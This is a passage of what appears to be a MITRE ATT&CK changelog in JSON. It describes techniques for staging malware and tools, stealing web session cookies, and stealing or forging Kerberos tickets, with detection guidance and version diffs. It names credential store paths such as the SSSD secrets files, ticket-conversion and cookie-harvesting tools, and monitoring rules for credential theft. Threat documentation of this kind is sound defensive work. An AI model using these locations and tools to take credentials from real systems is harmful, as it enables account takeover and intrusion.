serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/005", "external_id": "T1608.005" }, { "source_name": "Malwarebytes Silent Librarian October 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/" }, { "source_name": "Proofpoint TA407 September 2019", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:28:41.565000+00:00\", \"old_value\": \"2021-04-27 17:53:29.106000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:09:13.222000+00:00", "modified": "2021-10-17 16:24:48.949000+00:00", "name": "Upload Malware", "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/001", "external_id": "T1608.001" }, { "source_name": "Volexity Ocean Lotus November 2020", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Kobi Haimovich, CardinalOps" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:24:48.949000+00:00\", \"old_value\": \"2021-04-26 18:40:15.732000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-17 20:31:07.828000+00:00", "modified": "2021-10-17 16:25:37.072000+00:00", "name": "Upload Tool", "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/002", "external_id": "T1608.002" }, { "source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Internet Scan: Response Content" ], "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 16:25:37.072000+00:00\", \"old_value\": \"2021-04-26 18:41:37.444000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0035: Internet Scan (Response Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-10-08 20:04:35.508000+00:00", "modified": "2021-07-28 01:26:51.971000+00:00", "name": "Steal Web Session Cookie", "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1539", "external_id": "T1539" }, { "source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" }, { "source_name": "Kaspersky TajMahal April 2019", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", "url": "https://securelist.com/project-tajmahal/90240/" }, { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" }, { "source_name": "Github evilginx2", "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", "url": "https://github.com/kgretzky/evilginx2" }, { "source_name": "GitHub Mauraena", "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", "url": "https://github.com/muraenateam/muraena" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)", "Johann Rehberger" ], "x_mitre_data_sources": [ "File: File Access", "Process: Process Access" ], "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 01:26:51.971000+00:00\", \"old_value\": \"2021-04-14 17:57:07.903000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\\n\\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\\n\\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n\\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\", \"old_value\": \"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\\n\\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\\n\\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n\\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\\n \\n-There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n+There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\\n \\n After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may steal web application or service session cot1An adversary may steal web application or service session co
>okies and use them to gain access to web applications or Int>okies and use them to gain access to web applications or Int
>ernet services as an authenticated user without needing cred>ernet services as an authenticated user without needing cred
>entials. Web applications and services often use session coo>entials. Web applications and services often use session coo
>kies as an authentication token after a user has authenticat>kies as an authentication token after a user has authenticat
>ed to a website.  Cookies are often valid for an extended pe>ed to a website.  Cookies are often valid for an extended pe
>riod of time, even if the web application is not actively us>riod of time, even if the web application is not actively us
>ed. Cookies can be found on disk, in the process memory of t>ed. Cookies can be found on disk, in the process memory of t
>he browser, and in network traffic to remote systems. Additi>he browser, and in network traffic to remote systems. Additi
>onally, other applications on the targets machine might stor>onally, other applications on the targets machine might stor
>e sensitive authentication cookies in memory (e.g. apps whic>e sensitive authentication cookies in memory (e.g. apps whic
>h authenticate to cloud services). Session cookies can be us>h authenticate to cloud services). Session cookies can be us
>ed to bypasses some multi-factor authentication protocols.(C>ed to bypasses some multi-factor authentication protocols.(C
>itation: Pass The Cookie)  There are several examples of mal>itation: Pass The Cookie)  There are several examples of mal
>ware targeting cookies from web browsers on the local system>ware targeting cookies from web browsers on the local system
>.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42>.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42
> Mac Crypto Cookies January 2019) There are also open source> Mac Crypto Cookies January 2019) There are also open source
> frameworks such as Evilginx 2 and Muraena that can gather s> frameworks such as Evilginx 2 and Muraena that can gather s
>ession cookies through a man-in-the-middle proxy that can be>ession cookies through a malicious proxy (ex: [Adversary-in-
> set up by an adversary and used in phishing campaigns.(Cita>the-Middle](https://attack.mitre.org/techniques/T1557)) that
>tion: Github evilginx2)(Citation: GitHub Mauraena)  After an> can be set up by an adversary and used in phishing campaign
> adversary acquires a valid cookie, they can then perform a >s.(Citation: Github evilginx2)(Citation: GitHub Mauraena)  A
>[Web Session Cookie](https://attack.mitre.org/techniques/T15>fter an adversary acquires a valid cookie, they can then per
>50/004) technique to login to the corresponding web applicat>form a [Web Session Cookie](https://attack.mitre.org/techniq
>ion.>ues/T1550/004) technique to login to the corresponding web a
 >pplication.
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1032: Multi-factor Authentication", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Access)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 19:12:46.830000+00:00", "modified": "2021-10-14 22:56:22.054000+00:00", "name": "Steal or Forge Kerberos Tickets", "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1558", "external_id": "T1558" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/652.html", "external_id": "CAPEC-652" }, { "source_name": "ADSecurity Kerberos Ring Decoder", "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.", "url": "https://adsecurity.org/?p=227" }, { "source_name": "Microsoft Klist", "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist" }, { "source_name": "MIT ccache", "description": "Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.", "url": "https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html" }, { "source_name": "Linux Kerberos Tickets", "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html" }, { "source_name": "Brining MimiKatz to Unix", "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" }, { "source_name": "Kekeo", "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.", "url": "https://github.com/gentilkiwi/kekeo" }, { "source_name": "SpectorOps Bifrost Kerberos macOS 2019", "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.", "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f" }, { "source_name": "macOS kerberos framework MIT", "description": "Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.", "url": "http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html" }, { "source_name": "ADSecurity Detecting Forged Tickets", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", "url": "https://adsecurity.org/?p=1515" }, { "source_name": "Stealthbits Detect PtT 2019", "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks" }, { "source_name": "CERT-EU Golden Ticket Protection", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" }, { "source_name": "Microsoft Kerberos Golden Ticket", "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285" }, { "source_name": "Microsoft Detecting Kerberoasting Feb 2018", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" }, { "source_name": "AdSecurity Cracking Kerberos Dec 2015", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "url": "https://adsecurity.org/?p=2293" }, { "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Tim (Wadhwa-)Brown", "Cody Thomas, SpecterOps" ], "x_mitre_data_sources": [ "File: File Access", "Command: Command Execution", "Active Directory: Active Directory Credential Request", "Logon Session: Logon Session Metadata" ], "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_system_requirements": [ "Kerberos authentication enabled" ], "x_mitre_version": "1.3", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Tim 